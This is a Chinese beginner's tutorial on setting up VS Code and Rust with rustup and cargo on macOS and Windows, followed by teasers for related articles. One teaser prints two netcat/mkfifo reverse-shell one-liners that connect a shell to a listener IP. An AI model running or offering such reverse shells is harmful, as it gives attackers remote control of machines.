从零开始的vscode配置及安装rust教程

配置vscode的rust环境

  • 下载安装vscode
  • mac 环境
    • 1. 下载安装rust
    • 2. 配置 mac vscode环境
    • 3. 创建一个测试项目
  • windows 环境
    • 1. 安装c++运行环境
    • 2. 安装配置rustup
    • 3. 配置windows vscode环境
    • 4. 创建一个测试项目

下载安装vscode

1.官网应用程序下载 vscode:https://code.visualstudio.com(根据电脑操作系统选择对应版本)
2.安装教程可查阅:转自vscode保姆级安装配置
选择对应版本下载

  • mac下载:
    mac下载
  • windows下载
    windows下载

mac 环境

1. 下载安装rust

  • 输入命令

    // 打开mac终端执行如下代码:
    curl https://sh.rustup.rs -sSf | sh
    

    终端会自动进入安装状态,提示你是否安装,选用默认安装(直接Enter)即可。然后稍等一会就会提示安装完成。
    在这里插入图片描述

  • 重启一个新的终端应用rust的环境变量或者直接在终端执行以下命令让环境变量生效:

    // 在mac终端执行如下代码:
    source $HOME/.cargo/env
    
  • 检测rust是否安装成功,安装成功会显示类似如下信息,不成功则重新走一遍安装rust流程。

    ~ rustc --version
    rustc 1.32.0 (25efde3d8 2024-04-09)
    

2. 配置 mac vscode环境

  • 安装插件
    Rust
    Rust-analyzer
    crates
    Rust Syntax
    Rust Test Lens
    Better TOML
    在这里插入图片描述
  • 使用vscode终端执行如下命令(快捷键:ctrl+ `):
    //安装rust的一些拓展插件
    rustup component add rls rust-analysis rust-src
    

3. 创建一个测试项目

  • 使用vscode终端执行如下命令:
    //创建一个hello_world项目
    cargo new hello_world
    //进入这个项目文件夹
    cd hello_world
    //运行这个项目
    cargo run
    
  • 运行结果
    在这里插入图片描述
    到这里, mac的rust配置环境就算是大功告成了。

windows 环境

1. 安装c++运行环境

Rust 的编译工具依赖 C 语言的编译工具。
方式一:使用Microsoft C++ 生成工具
一般没有下载visual studio IDE,是没有生成工具的。需要单独安装,且需要(3~4)G空间。下载链接:Microsoft C++ 生成工具
方式二:MinGW + GCC 编译环境(建议,下载占用存储较低)
转自vscode 配置c++环境(小白专用)

2. 安装配置rustup

  • 下载rustup
    在已经配置好c++的生成工具的前提下,下载rustup:rustup-init.exe。
    使用管理员身份 运行rustup-init.exe, 回车等待安装完成即可。

  • 检测是否安装成功
    打开cmd命令行,使用以下命令检测rust是否安装成功。

    >rustup --version
    rustup 1.27.0 (bbb9276d2 2024-03-08)
    info: This is the version for the rustup toolchain manager, not the rustc compiler.
    info: The currently active `rustc` version is `rustc 1.77.2 (25ef9e3d8 2024-04-09)`>rustc --version
    rustc 1.77.2 (25ef9e3d8 2024-04-09)>cargo --version
    cargo 1.77.2 (e52e36006 2024-03-26)
    

    检测如上,说明安装成功。

3. 配置windows vscode环境

  • 安装插件
    Rust
    Rust-analyzer
    crates
    Rust Syntax
    Rust Test Lens
    Better TOML
    在这里插入图片描述

4. 创建一个测试项目

  • 使用vscode终端执行如下命令:
    //创建一个hello_world项目
    cargo new hello_world
    //进入这个项目文件夹
    cd hello_world
    //运行这个项目
    cargo run
    
  • 运行结果
    在这里插入图片描述
    到这里, windows的rust配置环境也算是大功告成了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/826802.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

注意力机制中多层的作用

1.多层的作用 在注意力机制中,多层的作用通常指的是将注意力机制堆叠在多个层上,这在深度学习模型中被称为“深度”或“多层”注意力网络。这种多层结构的作用和实现过程如下: 1. **逐层抽象**:每一层都可以捕捉到输入数据的不同…

4.21算法

目录 leetcode49:字母异位词分组 题目 示例 解题思路 代码实现 leetcode349:两个数组的交集 题目 示例 解题思路 代码实现 leetcode49:字母异位词分组 题目 给你一个字符串数组,请你将 字母异位词 组合在一起。可以按任意顺序返回结果列表。 字母异位词…

在ubuntu20.04下迁移anaconda的目录,试验不行后,换成软连接

一、原因 随着不断的搭建不同的算法环境,原本在固态硬盘上安装的anaconda上占用空间越来越多。导致可用的固态硬盘空间越来越少,又因安装的环境太多,重新搭建比较费时费力。有没有直接将当前已经搭建好环境的anaconda 迁移到另外的目录呢&…

SAP 销售业务中免费货物的会计核算

此博文主要介绍SAP销售业务中免费货物解决方案中,免费货物的会计核算。如果需要进一步了解SAP SD 销售与分销业务中,免费货物的标准解决方案概览,可先了解本博客博文:SAP销售与分销中的免费货物解决方案相关文章: htt…

Python 全栈安全(一)

原文:annas-archive.org/md5/712ab41a4ed6036d0e8214d788514d6b 译者:飞龙 协议:CC BY-NC-SA 4.0 前言 序言 多年前,我在亚马逊搜索了一本基于 Python 的应用程序安全书。我以为会有多本书可供选择。已经有了很多其他主题的 Pyt…

5、分代模型中的年轻代、老年代和永久代

5.1、背景引入 从今天开始,我们将重点关注JVM内存划分的一些细节。这将帮助大家更深入地理解JVM内存划分的原理,以及我们在代码中创建的对象是如何在JVM中分配和流动的。这对于大家深入理解JVM原理将大有裨益。 首先,让我们介绍一下JVM内存的一个分代模型:年轻代、老年代…

开发语言漫谈-SQL

SQL是另一个门类的开发语言,是专用于结构化数据库操作的专用语言。SQL不可能单独开发系统,但是做数据库方面的系统不懂SQL也不行。市面上很大部分开发岗位(后台)都是要和数据库打交道的,所以SQL必须掌握。 好消息是&am…

【设计模式】单例模式|最常用的设计模式

写在前面 单例模式是最常用的设计模式之一,虽然简单,但是还是有一些小坑点需要注意。本文介绍单例模式并使用go语言实现一遍单例模式。 单例模式介绍 简介 单例模式保证一个类仅有一个实例,并提供一个访问它的全局访问点。 使用场景&#…

DC学习笔记

视频 数字逻辑综合工具实践 DC 01_哔哩哔哩_bilibili 一、DC工作模式(此小节为搬运内容) 原链接:Design_Compiler User Guide 随手笔记(9)Using Floorplan Information - 知乎 DC拥有四种工作模式: 工…

项目7-音乐播放器6+评论区

1.准备前端界面 前端小白:怎么为你的网页增加评论功能?(一)_为网页添加评论区怎么弄-CSDN博客 参考的上述文章的前端代码 我们从上述前端图片知道,我们数据库需要准备的字段: id,commentuserName,coomen…

深入理解Java中的ConcurrentHashMap:原理与实践

文章目录 1. ConcurrentHashMap简介2. 分段锁原理3. CAS操作原理4. 扩容机制原理5. 近似计数原理6. 并发操作方法7. 遍历ConcurrentHashMap8. 扩展方法介绍9. 并发性能分析10. 局限性与适用场景11. 总结 本文详细解析了Java中线程安全的HashMap实现——ConcurrentHashMap的工作…

字节FE:JavaScript学习路线图

JavaScript简介 JavaScript是一种高级的、解释执行的编程语言。它是互联网的三大核心技术之一,与HTML和CSS一同工作,用于创建交互式的网页。JavaScript被所有现代网页浏览器支持而不需要任何插件。它可以增强用户界面和网页的交互性,可以进行…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

Jupyter的下载与安装

1.下载&#xff1a; 在anaconda的指定环境中 conda install nb_conda_kernels 2.打开 在anaconda指定环境中使用命令&#xff1a; jupyter notebook 3.输入指令后&#xff0c;会显示如下&#xff0c;根据显示地址打开 3. 在右边的new按钮处&#xff0c;选择相应环境&…

Redis中的慢查询日志(一)

慢查询日志 概述 Redis的慢查询日志功能用于记录执行时间超过给定时长的命令请求&#xff0c;用户可以通过这个功能产生的日志来 监视和优化查询速度。服务器配置有两个和慢查询日志相关的选项: 1.slowlog-log-slower-than选项指定执行时间超过多少微妙(1秒1000 000微妙)的命…

Sulley入门教学——简介、安装(Win7、VMware)

1、简介 Sulley 是由 Pedram Amini 和 Aaron Portnoy 开发的开源工具。它以 Python 编写&#xff0c;可以轻松地在不同平台上部署和使用。Sulley 提供了一个灵活且功能强大的框架&#xff0c;允许用户定义协议消息的结构、字段类型、边界条件和模糊测试策略。用户可以使用 Sul…

【Redis】List 数据类型

文章目录 常用命令lpush & lpushxrpush & rpushxlrange & lpop & rpoplindex & linsertllen 阻塞版本的命令内部编码 列表类型是⽤来存储多个有序的字符串&#xff0c;⼀个列表最多可以存储 2^32 - 1 个元素&#xff0c;允许有重复的元素。 列表在两端都可…

MongoDB与MySQL的区别???MongoDB的优势???

MongoDB是一种开源的文档型数据库管理系统&#xff0c;它使用类似于JSON的BSON格式&#xff08;Binary JSON&#xff09;来存储数据。与传统关系型数据库不同&#xff0c;MongoDB不使用表和行的结构&#xff0c;而是采用集合&#xff08;Collection&#xff09;(Mysql表)和文档…

Qt基础之四十六:Qt界面中嵌入第三方程序的一点心得

本文主要讲解QWidget和QWindow的区别,以及如何在QWidget中嵌入第三方程序,并完美解决在QWidget中嵌入某些程序(比如Qt程序)时出现的白边问题。 下面是嵌入QQ音乐的样子,这首歌还不错。 先用spy++查看QQ音乐的窗口信息,如果安装了Visual Studio,工具菜单里自带spy++ 然后…

总分420+专业140+哈工大哈尔滨工业大学803信号与系统和数字逻辑电路考研电子信息与通信工程,真题,大纲,参考书。

考研复习一路走来&#xff0c;成绩还是令人满意&#xff0c;专业803信号和数电140&#xff0c;总分420&#xff0c;顺利上岸&#xff0c;总结一下自己这一年复习经历&#xff0c;希望大家可以所有参考&#xff0c;这一年复习跌跌拌拌&#xff0c;有时面对压力也会焦虑&#xff…